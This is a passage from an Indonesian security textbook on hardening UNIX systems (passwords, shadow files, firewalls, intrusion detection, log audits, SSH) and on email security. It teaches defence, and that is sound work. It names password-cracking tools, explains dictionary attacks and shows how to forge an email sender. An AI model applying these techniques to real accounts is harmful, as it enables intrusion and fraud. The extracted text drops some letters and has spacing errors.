dingkan dengan userid dan password yang berada di sistem. Apabila
keduanya valid, pemakai yang bersangkutan diperbolehkan memakai
sistem. Apabila ada yang salah, pemakai tidak dapat memakai sistem.
Informasi tentang kesalahan ini biasanya dicatat dalam berkas log.
Besarnya informasi yang dicatat bergantung kepada konfigurasi dari sistem
setempat. Misalnya, ada yang menuliskan informasi apabila pemakai
memasukkan userid dan password yang salah sebanyak tiga kali. Ada juga
yang langsung menuliskan informasi ke dalam berkas log meskipun baru
satu kali salah. Informasi tentang waktu kejadian juga dicatat. Selain itu asal
hubungan (connection) juga dicatat sehingga administrator dapat
memeriksa keabsahan hubungan.
Setelah proses authentication, pemakai diberikan akses sesuai dengan level
yang dimilikinya melalui sebuah access control. Access control ini biasanya
dilakukan dengan mengelompokkan pemakai dalam “group”. Ada group
yang berstatus pemakai biasa, ada tamu, dan ada juga administrator atau
super user yang memiliki kemampuan lebih dari group lainnya.
Pengelompokan ini disesuaikan dengan kebutuhan dari pemakaian sistem
anda. Di lingkungan kampus mungkin ada kelompok mahasiswa, staf,
karyawan, dan administrator. Sementara itu di lingkungan bisnis mungkin
ada kelompok finance, engineer, marketing, dan seterusnya.
79
Mengatur akses (Access Control)
Password di sistem UNIX
Akses ke sistem UNIX memakai password yang biasanya disimpan di
dalam berkas /etc/passwd. Di dalam berkas ini disimpan nama, userid,
password, dan informasi-informasi lain yang digunaka oleh bermacam-
macam program. Contoh isi berkas password dapat dilihat di bawah ini.
root:fi3sED95ibqR7:0:1:System Operator:/:/sbin/sh
daemon:*:1:1::/tmp:
rahard:d98skjhj9l:72:98::/home/rahard:/bin/csh
Pada sistem UNIX lama, biasanya berkas /etc/passwd ini “ readable”,
yaitu dapat dibaca oleh siapa saja. Meskipun kolom password di dalam
berkas itu berisi “encrypted password” (password yang sudah terenkripsi),
akan tetapi ini merupakan potensi sumber lubang keaman n. Seorang
pemakai yang nakal, dapat mengambil berkas ini (karen “readable”),
misalnya men-download berkas ini ke komputer di rumahnya, atau
mengirimkan berkas ini kepada kawannya. Ada program tertentu yang
dapat digunakan untuk memecah password ini . Con oh program ini
antara lain: crack (UNIX), viper (perl script), dan cracker jack (DOS).
TABLE 6. Penjelasan contoh isi berkas password
Field Isi
rahard Nama atau userid pemakai
d98skjhj9l password yang sudah terenkripsi (encrypted pass-
word)
72 UID, user identification number
98 GID, group identification number
Nama lengkap dari pemakai (sering juga disebut
GECOSa atau GCOS field)
a. GECOS = General Electric Computer Operating System. Di masa lalu,
pemakai juga memiliki account di komputer yang lebih besar, yaitu kom-
puter GECOS. Informasi ini disimpan dalam berkas ini u tuk memudah-
kan batch job yang dijalankan melalui sebuah Remote J b Entry. [18]
/home/rahard home directory dari pemakai
/bin/csh shell dari pemakai
Mengamankan Sistem Informasi
80
Program “password cracker” ini tidak dapat mencari tahu kata kunci dari
kata yang sudah terenkripsi. Akan tetapi, yang dilakukan oleh program ini
yaitu melakukan coba-coba (brute force attack). Salah satu caranya yaitu
mengambil kata dari kamus (dictionary) lalu mengenkripsinya.
Apabila hasil enkripsi ini sama dengan password yang sudah
terenkripsi (encrypted password), maka kunci atau passwordnya ketemu.
Selain melakukan “lookup” dengan memakai kamus, biasanya
program “password cracker” ini memiliki beberapa algoritma
heuristic seperti menambahkan angka di belakangnya, atau membaca dari
belakang (terbalik), dan seterusnya. Inilah sebabny jangan memakai
password yang terdapat dalam kamus, atau kata-kata yang umum digunakan
(seperti misalnya nama kota atau lokasi terkenal).
Shadow Password
Salah satu cara untuk mempersulit pengacau untuk mendapatkan berkas
yang berisi password (meskipun terenkripsi) yaitu dengan memakai
“shadow password”. Mekanisme ini memakai berkas /etc/shadow
untuk menyimpan encrypted password, sementara kolom password di
berkas /etc/passwd berisi karakter “x”. Berkas /etc/shadow tidak
dapat dibaca secara langsung oleh pemakai biasa.
Latihan 9. Perhatikan sistem UNIX anda. Apakah sistem itumemakai fasilitas shadow password atau tidak?
Memilih password
Dengan adanya kemungkinan password ditebak, misalnya dengan
memakai program password cracker, maka memilih password
memerlukan perhatian khusus. Berikut ini yaitu daftar hal-hal yang
sebaiknya tidak digunakan sebagai password.
• Nama anda, nama istri / suami anda, nama anak, ataupun nama kawan.
• Nama komputer yang anda gunakan.
• Nomor telepon atau plat nomor kendaran anda.
• Tanggal lahir.
• Alamat rumah.
81
Menutup servis yang tidak digunakan
• Nama tempat yang terkenal.
• Kata-kata yang terdapat dalam kamus (bahasa Indonesia maupun bahasa
Inggris).
• Password dengan karakter yang sama diulang-ulang.
• Hal-hal di atas ditambah satu angka.
Menutup servis yang tidak digunakan
Seringkali sistem (perangkat keras dan/atau perangkat lunak) diberikan
dengan beberapa servis dijalankan sebagai default. Sebagai contoh, pada
sistem UNIX servis-servis berikut sering dipasang dari vendornya: finger,
telnet, ftp, smtp, pop, echo, dan seterusnya. Servis ini tidak semuanya
dibutuhkan. Untuk mengamankan sistem, servis yang tidak diperlukan di
server (komputer) ini sebaiknya dimatikan. Sudah banyak kasus yang
menunjukkan abuse dari servis ini , atau ada lubang keamanan dalam
servis ini akan tetapi sang administrator tidak menyadari bahwa servis
ini dijalankan di komputernya.
Latihan 10. Periksa sistem UNIX anda, servis apa saja yangdijalankan di sana? Dari mana anda tahu servis-servis yangdijalankan?
Servis-servis di sistem UNIX ada yang dijalankan dari “ inetd” dan ada yang
dijalankan sebagai daemon. Untuk mematikan servis yang dijalankan
dengan memakai fasilitas inet, periksa berkas /etc/inetd.conf,
matikan servis yang tidak digunakan (dengan memberikan tanda komentar
#) dan memberitahu inetd untuk membaca berkas konfigurasinya (dengan
memberikan signal HUP kepada PID dari proses inetd).
unix# ps -aux | grep inetd
105 inetd
unix# kill -HUP 105
Untuk sistem Solaris atau yang berbasis System V, gunakan perintah “ps -
eaf” sebagai pengganti perintah “ps -aux”. Lebih jelasnya silahkan baca
manual dari perintah ps.
Mengamankan Sistem Informasi
82
Untuk servis yang dijalankan sebagai daemon dan dijalankan pada waktu
startup (boot), perhatikan skrip boot dari sistem anda.
• SunOS: /etc/rc.*
• Linux Debian: /etc/init.d/*
Memasang Proteksi
Untuk lebih meningkatkan keamanan sistem informasi, proteksi dapat
ditambahkan. Proteksi ini dapat berupa filter (secara umum) dan yang lebih
spesifik yaitu firewall. Filter dapat digunakan untuk memfilter e-mail,
informasi, akses, atau bahkan dalam level packet. Sebagai contoh, di sistem
UNIX ada paket program “tcpwrapper” yang dapat digunakan untuk
membatasi akses kepada servis atau aplikasi tertentu. Misalnya, servis
untuk “telnet” dapat dibatasi untuk untuk sistem yang memiliki nomor IP
tertentu, atau memiliki domain tertentu. Sementara firewall dapat
digunakan untuk melakukan filter secara umum.
Untuk mengetahui apakah server anda memakai tcpwrapper atau tidak,
periksa isi berkas /etc/inetd.conf. Biasanya tcpwrapper dirakit
menjadi “tcpd”. Apabila servis di server anda (misalnya telnet atau ftp)
dijalankan melalui tcpd, maka server anda memakai tcpwrapper.
Biasanya, konfigurasi tcpwrapper (tcpd) diletakkan di berkas /etc/
hosts.allow dan /etc/hosts.deny.
Firewall
Firewall merupakan sebuah perangkat yang diletakkan antara Internet
dengan jaringan internal (Lihat Figure 4.1 on page 83). Informasi yang
keluar atau masuk harus melalui firewall ini.
83
Firewall
Tujuan utama dari firewall yaitu untuk menjaga (prevent) agar akses (ke
dalam maupun ke luar) dari orang yang tidak berwenang (unauthorized
access) tidak dapat dilakukan. Konfigurasi dari firewall bergantung kepada
kebijaksanaan (policy) dari organisasi yang bersangkutan, yang dapat dibagi
menjadi dua jenis:
• apa-apa yang tidak diperbolehkan secara eksplisit dianggap tidak
diperbolehkan (prohibitted)
• apa-apa yang tidak dilarang secara eksplisit dianggp diperbolehkan
(permitted)
Firewall bekerja dengan mengamati paket IP (Internet Protocol) yang
melewatinya. Berdasarkan konfigurasi dari firewall maka akses dapat diatur
berdasarkan IP address, port, dan arah informasi. Detail dari konfigurasi
bergantung kepada masing-masing firewall.
Firewall dapat berupa sebuah perangkat keras yang sudah dilengkapi
dengan perangkat lunak tertentu, sehingga pemakai (dministrator) tinggal
melakukan konfigurasi dari firewall ini . Firewall juga dapat berupa
perangkat lunak yang ditambahkan kepada sebuah server (baik UNIX
maupun Windows NT), yang dikonfigurasi menjadi firewall. Dalam hal ini,
sebetulnya perangkat komputer dengan prosesor Intel 80486 sudah cukup
untuk menjadi firewall yang sederhana.
Internet
Firewall
Jaringan
Internal
GAMBAR 4.1. Contoh sebuah Firewall
Mengamankan Sistem Informasi
84
Firewall biasanya melakukan dua fungsi; fungsi (IP) filtering dan fungsi
proxy. Keduanya dapat dilakukan pada sebuah perangkt komputer (device)
atau dilakukan secara terpisah.
Beberapa perangkat lunak berbasis UNIX yang dapat digunakan untuk
melakukan IP filtering antara lain:
• ipfwadm: merupakan standar dari sistem Linux yang dapat diktifkan
pada level kernel
• ipchains: versi baru dari Linux kernel packet filtering yang diharapkan
dapat menggantikan fungsi ipfwadm
Fungsi proxy dapat dilakukan oleh berbagai software te gantung kepada
jenis proxy yang dibutuhkan, misalnya web proxy, rlogin proxy, ftp proxy
dan seterusnya. Di sisi client sering kalai dibutuhkan software tertentu agar
dapat memakai proxy server ini, seperti misalnya dengan
memakai SOCKS. Beberapa perangkat lunak berbasis UNIX untuk
proxy antara lain:
• Socks: proxy server oleh NEC Network Systems Labs
• Squid: web proxy server
Informasi mengenai firewall secara lebih lengkap dapat dibaca pada
referensi [29, 37] atau untuk sistem Linux dapat dilakukan dengan
mengunjungi web site berikut: <http://www.gnatbox.cm>.
Satu hal yang perlu diingat bahwa adanya firewall bukan menjadi jaminan
bahwa jaringan dapat diamankan seratus persen. Firewall ini sendiri
dapat memiliki masalah. Sebagai contoh, Firewall Gauntlet yang dibuat
oleh Network Associates Inc. (NAI) mengalami masalah1 sehingga dapat
melewatkan koneksi dari luar yang seharusnya tidak boleh lewat. Padahal
Gauntlet didengung-dengungkan oleh NAI sebagai “The World’s Most
1. Tanggal 22 Mei 2000 ditemukan masalah dalam Gauntlet (versi 4.1, 4.2, 5.0, dan 5.5)
oleh Jim Stickley (seorang konsultan keamana dari Grison Technologies) dimana jika
paket Cyber Patrol filtering dipasang, maka ada kemungkinan koneksi dari luar yang
seharusnya tidak boleh lewat firewall ternyata dilewatkan. Ternyata ada masalah “buffer
overflow” di server ini . Hal ini hanya terjadi jika Cyber Patrol diaktifkan. http://
www.securityfocus.com/news/40
85
Pemantau adanya serangan
Secure Firewall”. Inti yang ingin kami sampaikan yaitu bahwa meskipun
sudah memakai firewall, keamanan harus tetap dipantau secara
berkala.
Pemantau adanya serangan
Sistem pemantau (monitoring system) digunakan untuk mengetahui adanya
tamu tak diundang (intruder) atau adanya serangan (attack). Nama lain dari
sistem ini yaitu “intruder detection system” (IDS). Sistem ini dapat
memberitahu administrator melalui e-mail maupun melalui mekanisme lain
seperti melalui pager.
Ada berbagai cara untuk memantau adanya intruder. Ada yang sifatnya aktif
dan pasif. IDS cara yang pasif misalnya dengan memonitor logfile. Contoh
software IDS antara lain:
• Autobuse, mendeteksi probing dengan memonitor logfile.
• Courtney dan portsentry, mendeteksi probing (port scanning) dengan
memonitor packet yang lalu lalang. Portsentry bahkan dapat
memasukkan IP penyerang dalam filter tcpwrapper (langsung
dimasukkan kedalam berkas /etc/hosts.deny)
• Shadow dari SANS
• Snort, mendeteksi pola (pattern) pada paket yang lewat dan
mengirimkan alert jika pola ini terdeteksi. Pola-p la atau rules
disimpan dalam berkas yang disebut library yang dapat dikonfigurasi
sesuai dengan kebutuhan.
Pemantau integritas sistem
Pemantau integritas sistem dijalankan secara berkala untuk menguji
integratitas sistem. Salah satu contoh program yangumum digunakan di
sistem UNIX yaitu program Tripwire. Program paket Tripwire dapat
digunakan untuk memantau adanya perubahan pada berks. Pada mulanya,
tripwire dijalankan dan membuat database mengenai berkas-berkas atau
Mengamankan Sistem Informasi
86
direktori yang ingin kita amati beserta “signature” dari berkas ini .
Signature berisi informasi mengenai besarnya berkas, pan dibuatnya,
pemiliknya, hasil checksum atau hash (misalnya dengan memakai
program MD5), dan sebagainya. Apabila ada perubahan p da berkas
ini , maka keluaran dari hash function akan berbeda dengan yang ada di
database sehingga ketahuan adanya perubahan.
Audit: Mengamati Berkas Log
Segala (sebagian besar) kegiatan pemakaian sistem dapat dicatat dalam
berkas yang biasanya disebut “logfile” atau “log” saja. Berkas log ini sangat
berguna untuk mengamati penyimpangan yang terjadi. Kegagalan untuk
masuk ke sistem (login), misalnya, tersimpan di dalam berkas log. Untuk itu
para administrator diwajibkan untuk rajin memelihara dan menganalisa
berkas log yang dimilikinya.
Letak dan isi dari berkas log bergantung kepada operating system yang
digunakan. Di sistem berbasis UNIX, biasanya berkas ini berada di direktori
/var/adm atau /var/log. Contoh berkas log yang ada di sistem Linux
Debian dapat dilihat pada Table 7 on page 86.
.
TABLE 7. Berkas Log di sistem Debian Linux
Nama Berkas Keterangan
/var/adm/auth.log Berisi informasi yang berhubungan dengan authenti-
cation. Gagal login, misalnya, dicatat pada berkas ini.
/var/adm/daemon.log Informasi mengenai program-program daemon seperti
BIND, Sendmail, dsb.
/var/adm/mail.log Berisi informasi tentang e-mail yang dikirimkan dan
diterima oleh MTA (sendmail) serta akses ke sistem
email melalui POP dan IMAP.
/var/adm/syslog Berisi pesan yang dihasilkan oleh program syslog.
Kegagalan login tercatat di sini.
87
Audit: Mengamati Berkas Log
Sebagai contoh, berikut ini yaitu cuplikan baris is dari berkas /var/adm/
auth.log:
Apr 8 08:47:12 xact passwd[8518]: password for `inet' changed
by root
Apr 8 10:02:14 xact su: (to root) budi on /dev/ttyp3
Baris pertama menunjukkan bawah password untuk pemakai “inet” telah
diganti oleh “root”. Baris kedua menunjukkan bahwa pemakai (user) yang
bernama “budi” melakukan perintah “su” (substitute user) dan menjadi
user “root” (super user). Kedua contoh di atas menunjukkan entry yang
nampaknya normal, tidak mengandung security hole, dengan asumsi pada
baris kedua memang pemakai “budi” diperbolehkan menjadi root. Contoh
entry yang agak mencurigakan yaitu sebagai berikut.
Apr 5 17:20:10 alliance wu-ftpd[12037]: failed login from
ws170.library.msstate.edu [130.18.249.170], m1
Apr 9 18:41:47 alliance login[12861]: invalid password for
`budi' on `ttyp0' from `ppp15.isp.net.id'
Baris di atas menunjukkan kegagalan untuk masuk ke sistem melalui
fasilitas FTP (baris pertama) dan telnet (baris kedua). Pada baris kedua
terlihat bahwa user “budi” (atau yang mengaku sebagai user “budi”)
mencoba masuk melalui login dan gagal memberikan password yang valid.
Hal ini bisa terjadi karena ketidak sengajaan, salah memasukkan password,
atau bisa juga karena sengaja ingin mencoba-coba masuk dengan userid
“budi” dengan password coba-coba. Cara coba-coba ini sering dilakukan
dengan mengamati nama user yang berada di sistem ini (misalnya
dengan memakai program finger untuk mengetahui keberadaan
sebuah user).
Contoh berikut diambil dari isi berkas /var/adm/mail.log, yang
berfungsi untuk mencatat aktivitas yang berhubungan dengan sistem mail.
Apr 9 18:40:31 mx1 imapd[12859]: Login faiure
user=^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P
^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^
P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P
host=vhost.txg.wownet.net
Apr 9 18:40:32 mx1 imapd[12859]: Success, while reading line
user=^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P
Mengamankan Sistem Informasi
88
^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^
P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P
host=vhost.txg.wownet.net
Contoh di atas menunjukkan hal yang sedikit aneh dari akses ke servis
email melalui IMAP (ditunjukkan dengan kata “imapd” yang merupakan
server dari servis IMAP). Pertama, user yang digunakan tidak valid. Kedua,
kebetulan administrator tidak memiliki remote user yang berasal dari host
yang disebut di atas. Setelah diselidiki, ternyata memang ada lubang
keamanan dari implementasi “mapd” yang digunakan. Ini diketahui
setelah melihat informasi yang ada di web site CERT (See “Sumber
informasi dan organisasi yang berhubungan dengan keamanan sistem
informasi” on page 153.). Untuk itu administrator cepat-cepat menutup
servis imap ini , mengambil dan memasang versi baru dari im pd yang
tidak memiliki lubang keamanan ini .
Contoh-contoh di atas hanya merupakan sebagian kecil dar kegiatan
menganalisa berkas log. Untuk sistem yang cukup ramai, isalnya sebuah
perguruan tinggi dengan jumlah pemakai yang ribuan, analisa berkas log
merupakan satu pekerjaan tersendiri (yang melelahkan). Untuk itu adanya
tools yang dapat membantu administrator untuk memproses dan
menganalisa berkas log merupakan sesuatu yang sangat penting. Ada
beberapa tools sederhana yang menganalia berkas log untuk mengamati
kegagalan (invalid password, login failure, dan sebagainya) lalu
memberikan ringkasan. Tools ini dapat dijalankan setiap pagi dan
mengirimkan hasilnya kepada administrator.
Backup secara rutin
Seringkali tamu tak diundang (intruder) masuk ke dalam sistem dan
merusak sistem dengan menghapus berkas-berkas yang dapat ditemui. Jika
intruder ini berhasil menjebol sistem dan masuk sebagai super user
(administrator), maka ada kemungkinan dia dapat menghapus seluruh
berkas. Untuk itu, adanya backup yang dilakukan secara rutin merupakan
sebuah hal yang esensial. Bayangkan apabila yang dihapus oleh tamu ini
yaitu berkas penelitian, tugas akhir, skripsi, yang telah dikerjakan
bertahun-tahun.
89
pemakaian Enkripsi untuk meningkatkan keamanan
Untuk sistem yang sangat esensial, secara berkala per u dibuat backup yang
letaknya berjauhan secara fisik. Hal ini dilakukan u tuk menghindari
hilangnya data akibat bencana seperti kebakaran, banjir, dan lain
sebagainya. Apabila data-data dibackup akan tetapi diletakkan pada lokasi
yang sama, kemungkinan data akan hilang jika tempat yang bersangkutan
mengalami bencana seperti kebakaran.
pemakaian Enkripsi untuk meningkatkan
keamanan
Salah satau mekanisme untuk meningkatkan keamanan ad lah dengan
memakai teknologi enkripsi. Data-data yang anda kirimkan diubah
sedemikian rupa sehingga tidak mudah disadap. Banyak servis di Internet
yang masih memakai “plain text” untuk authentication, seperti
pemakaian pasangan userid dan password. Informasi ini dapat dilihat
dengan mudah oleh program penyadap atau pengendus (sniffer).
Contoh servis yang memakai plain text antara lain:
• akses jarak jauh dengan memakai telnet dan rlogin
• transfer file dengan memakai FTP
• akses email melalui POP3 dan IMAP4
• pengiriman email melalui SMTP
• akses web melalui HTTP
pemakaian enkripsi untuk remote akses (misalnya mel lui ssh sebagai
penggani telnet atau rlogin) akan dibahas di bagian tersendiri.
Telnet atau shell aman
Telnet atau remote login digunakan untuk mengakses sebuah “remote site”
atau komputer melalui sebuah jaringan komputer. Akses ini dilakukan
dengan memakai hubungan TCP/IP dengan memakai userid dan
password. Informasi tentang userid dan password ini ikirimkan melalui
Mengamankan Sistem Informasi
90
jaringan komputer secara terbuka. Akibatnya ada kemungkinan seorang
yang nakal melakukan “sniffing” dan mengumpulkan informasi tentang
pasangan userid dan password ini1.
Untuk menghindari hal ini, enkripsi dapat digunakan u tuk melindungi
adanya sniffing. Paket yang dikirimkan dienkripsi dengan algoritma DES
atau Blowish (dengan memakai kunci session yangdipertukarkan via
RSA atau Diffie-Hellman) sehingga tidak dapat dibaca oleh orang yang
tidak berhak. Salah satu implementasi mekanisme ini yaitu SSH (Secure
Shell). Ada beberapa implementasi SSH ini, antara lin:
• ssh untuk UNIX (dalam bentuk source code, gratis,
mengimplementasikan protokol SSH versi 1 dan versi 2)
• SSH untuk Windows95 dari Data Fellows (komersial, ssh versi 1 dan
versi 2)
http://www.datafellows.com/
• TTSSH, yaitu skrip yang dibuat untuk Tera Term Pro (gratis, untuk
Windows 95, ssh versi 1)
http://www.paume.itb.ac.id/rahard/koleksi
• SecureCRT untuk Windows95 (shareware / komersial)
• putty (SSH untuk Windows yang gratis, ssh versi 1). Selain
menyediakan ssh, paket putty juga dilengkapi dengan pscp yang
mengimplementasikan secure copy sebagai pengganti FTP.
1. Meskipun cara ini biasanya membutuhkan akses “root”.
91
BAB 5 Keamanan Email
Email merupakan aplikasi yang paling utama di jaringa Internet. Hampir
setiap orang yang memakai Internet memiliki alam t email. Saat ini
akan aneh jika anda tidak memiliki alamat email. Kemampuan
memakai email sama esensialnya dengan kemampuan memakai
telepon.
Sistem email sudah sangat pentingnya sehingga banyak or ng akan
mengeluh jika sistem email tidak dapat bekerja. Bahkan banyak bisnis yang
dilakukan dengan memakai email. Dapat dibayangk jika sistem
email tidak dapat bekerja dalam waktu yang lama.
Ada beberapa masalah keamanan yang terkait dengan sistem email, yaitu:
• disadap
• dipalsukan
• disusupi (virus)
• spamming
• mailbomb
• mail relay
Keamanan Email
92
Sebelum mendiskusikan permasalahan email, ada baikny ita kenali dulu
sistem email. Sistem email terdiri dari dua komponen utama, yaitu Mail
User Agent (MUA), dan Mail Tranfer Agent (MTA).
MUA merupakan komponen yang digunakan oleh pengguna email.
Biasanya dia yang disebut program mail. Contoh MUA yaitu Eudora,
Netscape, Outlook, Pegasus, Thunderbird, pine, mutt, elm, mail, dan masih
banyak lainnya lagi. MUA digunakan untuk menuliskan email seperti
halnya mesin ketik digunakan untuk menulis surat jaman dahulu.
MTA merupakan program yang sesungguhnya mengantar em il. Biasanya
dia dikenal dengan istilah mailer. MTA ini biasanya bukan urusan
pengguna, akan tetapi merupakan urusan dari administrator. Contoh MTA
antara lain postfix, qmail, sendmail, exchange, MDaemon, Mercury, dan
seterusnya.
Format Email
Agar sistem email dapat berjalan dengan sempurna da ti k bergantung
kepada vendor atau program tertentu, didefinisikan beberapa standar.
Standar pertama yaitu RFC 822 yang mendefinisikan format dari email.
Standar ini lalu diperbaharui menjadi RFC 2822.
Email memiliki dua komponen, yaitu header dan body. Header ini seperti
amplop pada pemakaian surat biasa. Dia berisi alamat tujuan, alamat
pengirim dan hal-hal yang perlu diketahui untuk menga tarkan email
ini . Body berisi isi dari surat itu sendiri. Header dan body ini
dipisahkan minimal oleh satu baris yang kosong. Berikut ini yaitu contoh
format dari sebuah email.
From: <br@paume.itb.ac.id>
To: budi@hotmail.com
Subject: Ujian diundur
Ujian kuliah saya akan diundur sampai ada pengumuman
berikutnya. Mohon maaf atas ketidaknyamanan.
-- budi
93
Format Email
--
Dosen kuliah XYZ
Bagaian atas, yang tercetak miring, merupakan bagian d ri header.
lalu ada satu baris kosong dan diikuti dengan body.
Kembali ke masalah standar. Dalam sistem surat konvensional pun ada
standar penulisan amplop. Biasanya alamat tujuan dari surat dituliskan di
depan, agak ke kanan bawah. Sementara itu alamat pengirim dapat
dituliskan di bagian belakang amplop atau di kiri atas. Jika anda langgar
aturan ini maka surat anda bisa tidak sampai ke tujuan. Coba anda tuliskan
nama anda (pengirim) di bagian depan dari amplop, agak ke sebelah kanan.
Sementara alamat yang anda tuju anda tuliskan di belakang amplop. Surat
akan sampai ke anda, bukan ke alamat yang dituju.
Demikian pula pada sistem email, ada standar header. H ader dapat
memiliki beberapa field yang baku, seperti “From:”, “To:”, “Subject:”, dan
seterusnya. Nama field ini langsung disambung de an tanda titik dua
dan minimal sebuah spasi sebelum diisi dengan datany . Sebagai contoh,
alamat pengirim dicatat dengan field “From:”. Alamat tujuan email tercatat
dalam field “To:”, dan seterusnya.
Ada banyak field-field lain yang biasanya juga digunakan seperti “Date:”,
“Cc:”, “Bcc:”. Tapi, ada juga field yang ada di email namun biasanya tidak
terlihat, seperti “Message-ID:”, “Recevied:”, dan masih banyak lainnya
lagi.
Kita juga dapat mendefinisikan field kita sendiri, yang biasanya dimulai
dengan huruf “X” dan garis (dash). Misalnya, saya bisa membuat field “X-
Kota:” untuk menyatakan kota saya, yang lalu saya isi dengan kata
Bandung sehingga menjadi “X-Kota: Bandung”.
Berikut ini yaitu contoh header sebuah email, lengkap dengan field-field
lainnya.
Received: from nic.cafax.se (nic.cafax.se [192.71.228.17])
by alliance.globalnetlink.com (8.9.1/8.9.1) with ESMTP
id QAA31830 for <budi@alliance.globalnetlink.com>;
Mon, 26 Mar 2001 16:18:01 -0600
Keamanan Email
94
Received: from localhost (localhost [[UNIX: localhost]])
by nic.cafax.se (8.12.0.Beta6/8.12.0.Beta5)
id f2QLSJVM018917 for ietf-provreg-outgoing;
Mon, 26 Mar 2001 23:28:19 +0200 (MEST)
Received: from is1-55.antd.nist.gov (is1-50.antd.nist.gov
[129.6.50.251])by nic.cafax.se (8.12.0.Beta5/
8.12.0.Beta5) with ESMTP id f2QLSGiM018912
for <ietf-provreg@cafax.se>;
Mon, 26 Mar 2001 23:28:17 +0200 (MEST)
Received: from barnacle (barnacle.antd.nist.gov
[129.6.55.185])
by is1-55.antd.nist.gov (8.9.3/8.9.3) with SMTP
id QAA07174
for <ietf-provreg@cafax.se>;
Mon, 26 Mar 2001 16:28:14 -0500 (EST)
Message-ID: <04f901c0b63b$16570020$b9370681@antd.nist.gov>
From: "Scott Rose" <scottr@antd.nist.gov>
To: <ietf-provreg@cafax.se>
Subject: confidentiality and transfers
Date: Mon, 26 Mar 2001 16:24:05 -0500
MIME-Version: 1.0
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
Sender: owner-ietf-provreg@cafax.se
Precedence: bulk
Dapat dilihat pada contoh di atas ada field-field yang belum diuraikan.
Penjelasan lebih lengkap mengenai field apa saja yang dianggap standar,
dapat dilihat di RFC 822.
Body dari email diletakkan setelah header dalam bentuk teks (ASCII).
Bagaimana dengan berkas biner (surat.doc, file.zip, gambar.jpg, lagu.mp3)
yang sering kita kirimkan dalam bentuk attachment? Pada prinsipnya berkas
ini dikodekan ke dalam bentuk ASCII, misalnya denga memakai
UUDECODE/UUENCODE, base64, dan beberapa coding lainnya.
Pemilihan kode ini biasanya terkait dengan efisiensi saja.
Mekanisme untuk menyisipkan berkas yang sudah dikode an ini ke dalam
body dari email dijabarkan dalam RFC yang terkait dengan MIME.
Latihan 11. Anda diminta untuk melihat bagaimana berkas binerdisisipkan pada email. Caranya yaitu kirim email ke diri
95
Penyadapansendiri dengan sebuah attachment (bisa berupa berkasgambar ataupun berkas yang di-zip). lalu gunakanmekanisme program MUA anda untuk menampilkan emaildalam format mentah (raw). Encoding apakah yangdigunakan oleh program email anda? uudecode? base64?
Setelah kita mengerti mengenai standar email, mari kita mulai
mendiskusikan permasalahan keamanan dari sistem email.
Penyadapan
Email sering dianalogikan dengan surat di dunia komunikasi konvensional.
Akan tetapi sebetulnya email lebih cocok dianalogikan sebagai kartu pos,
yaitu terbuka. Pengantar surat (Pak Pos), pada prinsipnya dapat membaca
apa yang tertulis di sebuah kartu pos. Demikian pula sistem email pada
prinsipnya dia terbuka dapat siapa saja yang dilalui sistem email ini .
Email dikirimkan dari komputer kita ke “kantor pos” terdekat, yaitu mail
server (sering juga disebut SMTP server) yang kita gunakan. Oleh server
mail kita, email ini diproses dan dikirimkan ke server berikutnya, dan
seterusnya sampai ke server email yang dituju, dan lalu ke mailbox
dari pengguna email yang dituju.
Setiap server yang dilalui membubuhi tanda dengan me a bahkan header
“Recevied:”. Perhatikan contoh email pada bagian sebelumnya. Anda bisa
melihat banyaknya baris yang berisi field “Received:” ini . Urutan
penambahan stempel ini yaitu dari bawah ke atas. Dengan kata lain, mail
server yang baru saja menerima email ini membubuhkan tanda
Recived di bagian teratas. Potensi penyadapan dapat terjadi pada setiap
jalur yang dilalui, termasuk pada server yang menjadi perantara email
ini .
Potensi penyadapan ini dapat terjadi karena pengiriman email
memakai protokol SMTP (Simple Mail Transport Protocol)1 yang
tidak memakai enkripsi sama sekali. Jika kita ber da pada satu jaringan
yang sama dengan orang yang mengirim email, atau yang dilalui oleh email,
Keamanan Email
96
maka kita bisa menyadap email dengan memantau port 25, yaitu port yang
digunakan oleh SMTP.
Demikian pula untuk mengambil email, biasanya digunakan protokol POP
(Post Office Protocol)1. Protokol yang memakai port 110 ini juga tidak
memakai enkripsi dalam transfer datanya. Ketika seorang pengguna
mengambil email melalui POP ke mail server, maka kita bisa menyadap
data yang melewati jaringan ini .
Agar email aman dari penyadapan maka perlu digunaka enkripsi untuk
mengacak isi dari email. Header dari email tetap tidak dapat dienkripsi
karena nanti akan membingungkan MTA. (Bayangkan jika anda
menyandikan tulisan tujuan surat yang akan anda kirim. Pak Pos pun akan
kebingungan.)
Dahulu, proses enkripsi dari email harus dilakukan secara manual oleh
pengguna. Dia harus mengenkripsi pesan atau data yang ingin dia kirimkan
dengan sebuah program, lalu menyisipkan (attach) berkas ini ke
dalam email. Ini sangat merepotkan. Saat ini sudah ada beberapa program
(tools) yang dapat mempermudah atau mengotomasi ini emua. Contoh
program ini antara lain Pretty Good Privacy (PGP), GnuPG, dan PEM.
Email Palsu
Membuat surat palsu tidak terlalu sukar. Kita tinggal tuliskan nama dan
alamat pengirim sesuka kita. Bahkan kita dapat berpura- ura berasal dari
kota lain. Surat palsu ini lalu bisa kita kirimkan melalui kantor pos
terdekat.
Demikian pula membuat email palsu tidak terlalu sukar. Kita tinggal
menuliskan informasi yang salah di header dari email. (Misalnya kita
konfigurasikan sistem email kita dengan mengatakan bahwa kita yaitu si-
1. SMTP dijabarkan oleh RFC 821, dan lalu diperbaharui menjadi RFC 2821, “The
Simple Mail Transfer Protocol”.
1. POP dijabarkan oleh RFC 1939.
97
Email Palsu
doel@hotmail.com.) Email yang palsu ini lalu kita serahkan kepada
MTA untuk dikirimkan ke tempat yang dituju. Maka MTA akan melakukan
perintah ini . Namun perlu diingat bahwa aktivitas kita tercatat oleh
MTA. Misalnya anda membuat sebuah berkas “email-palsu.txt” dengan isi
sebagai berikut.
To: siapasaja@dimanasaja.com
From: si-doel@hotmail.com
Subject: email palsu
Saya akan coba kirim email palsu. Perhatikan
header dari email ini.
